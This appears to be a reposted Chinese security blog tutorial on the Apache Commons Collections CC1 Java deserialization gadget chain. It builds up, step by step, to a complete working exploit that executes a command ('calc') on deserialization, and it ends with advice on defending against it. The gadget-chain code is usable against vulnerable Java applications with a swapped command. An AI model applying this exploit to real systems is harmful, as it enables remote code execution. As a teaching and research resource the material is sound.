“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”
01
Apache Commons是Apache软件基金会的开源项目,旨在提供可重用的Java工具类库。其中,Commons Collections通过对标准Collections API的扩展和优化,为开发者提供了更灵活高效的数据结构和操作方式。
然而,在实际应用中,这些特性也可能被恶意利用。Commons Collections的部分类实现包含反射调用任意方法的功能,为攻击者构造利用链提供了可能。
准备工作
在环境搭建方面,我们需要以下组件:
•JDK版本:8u65(该版本仍存在CC1链的漏洞)
•开发工具:用于反编译和调试的工具链
在搭建环境过程中,需确保能够访问Commons Collections 3.2.2 API文档以及相关源码,以便对类和方法的调用关系进行逆向分析。
CC1链的核心在于利用InvokerTransformer类,通过反射机制执行任意方法。以下是关键环节的解析:
Transformer接口的作用就是它接受一个对象,调用transform方法对这个对象进行一系列操作,我们暂且可以将它理解为装饰器、代理这个功能。
在InvokerTransformer类中存在一个反射调用任意类,可以作为链子的终点去利用。InvokerTransformer接受方法名、参数类型和参数值(均可以被我们自己控制),并通过transform方法调用指定方法。恶意代码可以通过该类实现命令执行,例如弹出计算器:
构造一下调用这个类弹计算器。
publicclassCC1Test {
publicstaticvoidmain(String[] args)throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtimeruntime= Runtime.getRuntime();
Classc= Runtime.class;
Methodmethod= c.getDeclaredMethod("exec", String.class);
method.setAccessible(true);
method.invoke(runtime, "calc");
}
}
攻击链的下一步是找到合适的调用点,使InvokerTransformer的transform方法得以执行。
根据构造方法构造 EXP,因为是 public 的方法,这里无需反射。
需要三个参数:参数名、参数类型、参数值
publicclassCC1Test {
publicstaticvoidmain(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Runtime runtime = Runtime.getRuntime();
newInvokerTransformer("exec", newClass[]{String.class}, newObject[]{"calc"}).transform(runtime);
}
成功的弹出计算器,事实上就是通过InvokerTransformer重新实现了一个反射
整个链子中是走到了最后一步,即调用了InvokerTransformer.transform(),那么接下来要做的就是往回倒退,谁调用了transform,谁又调用了调用了transform的方法,以此类推。
点进transform方法,find usages查询调用。
我们可以一步步看有什么比较常用的,这里为节省时间,直接来看TransformedMap类中的checkSetValue()方法。
这个valueTransformer是的构造函数是一个protected,意思是它要被自己调用的,TransformedMap可以理解为接受一个Map进来,对这个Map的key和value进行一系列操作,这些操作都写在这些xxxTransformer里面了。
在 decorate() 静态方法中创建了 TransformedMap 对象,完成了装饰的操作
可以从这里开始试一下编写poc,这里从后往前推,如果有一个遍历数组的地方调用了setValue,就能接上这后半条链。
publicclassCC1Test {
publicstaticvoidmain(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = newInvokerTransformer("exec", newClass[]{String.class}, newObject[]{"calc"});
HashMap<Object, Object> hashMap = newHashMap<>();
hashMap.put("key","aaa");
// 这里新建了 TransformedMap 对象
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);
}
}
}
总结一下上面的链子 1、执行decorate方法的时候,会新建 TransformedMap 对象。
2、调用对象的 checkSetValue 方法(因为我们无法直接获取 TransformedMap 对象,它的作用域是 protected
3、checkSetValue最终会走到transform方法,即重点的危险方法。
目前找到的链子位于 checkSetValue 当中,去找 .decorate 的链子,发现无法进一步前进了,所以我们回到 checkSetValue 重新找链子。
继续 find usages,找到了 parent.checkSetValue(value); 调用了 checkSetValue
发现这是一个抽象类,是 TransformedMap 的父类。调用 checkSetValue 方法的类是 AbstractInputCheckedMapDecorator 类中的一个内部类 MapEntry
setValue() 实际上就是在 Map 中对一组 entry(键值对)进行 setValue() 操作。所以,我们在进行 .decorate 方法调用,进行 Map 遍历的时候,就会走到 setValue() 当中,而 setValue() 就会调用 checkSetValue
到此处,攻击思路出来了,找到一个是数组的入口类,遍历这个数组,并执行 setValue 方法,就可以把我们这个TransformedMap传进去。所以接下来我们要去找谁执行了setValue()方法,最理想的情况下,如果有一个对象的readObject()里面调用了setValue()方法就最好不过了!
于是接着对setValue()进行find usages,可以看到有一个readObject类里面调用了setValue方法。
根据这个类的名字可以得知它是动态代理过程中的调用处理器类。
看一下构造函数,接收两个参数,第一个是个Class对象,第二个是个Map,这个Map是我们可控的,因为在构造函数里,我们可以将我们构造好的TransformedMap传进去,传进去后实例化这个类并尝试调用它。
因为AnnotationInvocationHandler 的作用域为 default,我们需要通过反射的方式来获取这个类及其构造函数,再实例化它。
得到了这个poc:
publicclassCC1Test {
publicstaticvoidmain(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = newInvokerTransformer("exec", newClass[]{String.class}, newObject[]{"calc"});
HashMap<Object, Object> hashMap = newHashMap<>();
hashMap.put("key","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Object o = annotationInvocationhdlConstructor.newInstance(Override.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
但是这个poc还是存在几个问题:1、runtime对象不能被序列化 2、实际传参不是runtime对象 3、需要满足这两个if
先来解决第一点,Runtime不能被序列化,但是Runtime.class是能被序列化的,我们写一遍普通反射
publicclassCC1Test {
publicstaticvoidmain(String[] args)throws Exception{
Classc= Runtime.class;
Methodmethod= c.getMethod("getRuntime");
Runtimeruntime= (Runtime) method.invoke(null, null);
Methodrun= c.getMethod("exec", String.class);
run.invoke(runtime, "calc");
}
}
接着,我们将这个反射的 Runtime 改造为使用 InvokerTransformer 调用的方式。
publicclassCC1Test {
publicstaticvoidmain(String[] args) throws Exception{
Class c = Runtime.class;
Method getRuntimeMethod = (Method)newInvokerTransformer("getMethod", newClass[]{String.class, Class[].class}, newObject[]{"getRuntime", null}).transform(Runtime.class);
Runtime r=(Runtime)newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}).transform(getRuntimeMethod);
newInvokerTransformer("exec", newClass[]{String.class}, newObject[]{"calc"}).transform(r);
}
}
这里Transformer不断调用前者,是一个循环调用。
这里我们用ChainTransformer类,这个类下的transform 方法递归调用了前一个方法的结果,作为后一个方法的参数。修改后的poc如下
publicclassCC1Test {
publicstaticvoidmain(String[] args) throws Exception{
Transformer[] transformers = newTransformer[]{
newInvokerTransformer("getMethod", newClass[]{String.class, Class[].class}, newObject[]{"getRuntime", null}),
newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),
newInvokerTransformer("exec", newClass[]{String.class}, newObject[]{"calc"})
};
ChainedTransformer chainedTransformer = newChainedTransformer(transformers);
// 第一个参数
chainedTransformer.transform(Runtime.class);
}
接下来我们要着手解决这两个if条件的判断了
查看代码,第一个if跳出去是因为memberType为null,memberType是先获取memberValue,然后对其key方法,再去获取memberType,我们只需要针对性的修改,传入的注解参数,是有成员变量即可。
这一次的运行我们成功进入到了 setValue 方法当中,但还是不能够进行弹计算器,这是因为 setValue() 处中的参数并不可控,而是指定了 AnnotationTypeMismatchExceptionProxy 类,是无法进行命令执行的。
这里介绍一个类ConstantTransformer,他有两个特点:1、构造方法:传入的任何对象都放在 iConstant 中。 2、transform方法:无论传入什么,都返回iConstant
那么可以利用这一点,将 AnnotationTypeMismatchExceptionProxy 类作为 transform() 方法的参数,也就是这个无关的类,作为参数,我们先传入一个 Runtime.class,然后无论 transform() 方法会调用什么对象,都会返回 Runtime.class
最终EXP:
publicclassCC1Test {
publicstaticvoidmain(String[] args)throws Exception {
Transformer[] transformers = newTransformer[]{
newConstantTransformer(Runtime.class),
newInvokerTransformer("getMethod", newClass[]{String.class, Class[].class}, newObject[]{"getRuntime", null}),
newInvokerTransformer("invoke",newClass[]{Object.class,Object[].class},newObject[]{null,null}),
newInvokerTransformer("exec", newClass[]{String.class}, newObject[]{"calc"})
};
ChainedTransformerchainedTransformer=newChainedTransformer(transformers);
HashMap<Object, Object> hashMap = newHashMap<>();
hashMap.put("value","aaa");
Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Classc= Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
ConstructorannotationInvocationhdlConstructor= c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhdlConstructor.setAccessible(true);
Objecto= annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("ser.bin");
}
publicstaticvoidserialize(Object obj)throws IOException {
ObjectOutputStreamoos=newObjectOutputStream(newFileOutputStream("ser.bin"));
oos.writeObject(obj);
}
publicstatic Object unserialize(String Filename)throws IOException, ClassNotFoundException{
ObjectInputStreamois=newObjectInputStream(newFileInputStream(Filename));
Objectobj= ois.readObject();
return obj;
}
}
执行后,成功弹出计算器!!大功告成
总结:这条链子的顺序为
1、AnnotationInvocationHandler.readObject()
2、AbstractInputCheckedMapDecorator.setValue()
3、TransformedMap.checkSetValue()
4、InvokerTransformer.transform()
并且用了ChainedTransformer类实现递归调用、ConstantTransformer类实现控制初始setValue()的值加以辅助。
CC1链揭示了反序列化漏洞利用的普遍规律。尽管CommonsCollections漏洞在新版中已修复,但其启示在于:开发中需严格控制反序列化数据的来源,并及时更新依赖库版本,避免潜在风险。
原文始发于微信公众号(A9 Team):CommonsCollections CC1攻击链详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论